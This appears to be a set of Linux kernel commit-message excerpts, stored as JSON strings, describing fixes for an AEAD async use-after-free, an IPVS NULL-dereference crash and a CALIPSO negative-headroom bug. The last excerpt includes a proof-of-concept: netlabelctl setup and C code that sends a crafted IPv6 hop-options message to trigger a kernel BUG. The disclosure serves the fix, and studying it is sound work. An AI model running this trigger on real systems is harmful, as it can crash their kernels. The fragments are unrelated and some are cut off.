When crypto_aead_encrypt/decrypt() returns -EINPROGRESS,\nthe operation completes asynchronously. Without crypto_wait_req(),\nthe function immediately frees the request buffer, leading to crashes\nwhen the driver later accesses the freed memory.\n\nThis results in a use-after-free condition when the hardware crypto\ndriver later accesses the freed request structure, leading to kernel\ncrashes with NULL pointer dereferences.\n\nThe issue occurs because crypto_alloc_aead() with mask=0 doesn\u0027t\nguarantee synchronous operation. Even without CRYPTO_ALG_ASYNC in\nthe mask, async implementations can be selected.\n\nFix by restoring the async crypto handling:\n- DECLARE_CRYPTO_WAIT(wait) for completion tracking\n- aead_request_set_callback() for async completion notification\n- crypto_wait_req() to wait for operation completion\n\nThis ensures the request buffer isn\u0027t freed until the crypto operation\ncompletes, whether synchronous or asynchronous, while preserving the\nCVE-2024-50047 fix.",

This code path eventually calls fib_compute_spec_dst()\nwhich dereferences skb-\u003edev. An attempt was made to fix the NULL skb-\u003edev\ndereference in commit 0113d9c9d1cc (\"ipv4: fix null-deref in\nipv4_link_failure\"), but it only addressed the immediate dev_net(skb-\u003edev)\ndereference by using a fallback device. The fix was incomplete because\nfib_compute_spec_dst() later in the call chain still accesses skb-\u003edev\ndirectly, which remains NULL when IPVS calls dst_link_failure().\n\nThe crash occurs when:\n1. IPVS processes a packet in NAT mode with a misconfigured destination\n2. Route lookup fails in __ip_vs_get_out_rt() before establishing a route\n3.

The check (headroom \u003e skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n        netlabelctl map del default\n        netlabelctl calipso add pass doi:7\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n        Then run the following PoC:\n\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n        // setup msghdr\n        int cmsg_size = 2;\n        int cmsg_len = 0x60;\n        struct msghdr msg;\n        struct sockaddr_in6 dest_addr;\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n                        sizeof(struct cmsghdr) + cmsg_len);\n        msg.msg_name = \u0026dest_addr;\n        msg.msg_namelen = sizeof(dest_addr);\n        msg.msg_iov = NULL;\n        msg.msg_iovlen = 0;\n        msg.msg_control = cmsg;\n        msg.msg_controllen = cmsg_len;\n        msg.msg_flags = 0;\n\n        // setup sockaddr\n        dest_addr.sin6_family = AF_INET6;\n        dest_addr.sin6_port = htons(31337);\n        dest_addr.sin6_flowinfo = htonl(31337);\n        dest_addr.sin6_addr = in6addr_loopback;\n        dest_addr.sin6_scope_id = 31337;\n\n        // setup cmsghdr\n        cmsg-\u003ecmsg_len = cmsg_len;\n        cmsg-\u003ecmsg_level = IPPROTO_IPV6;\n        cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n        sendmsg(fd, \u0026msg, 0);",
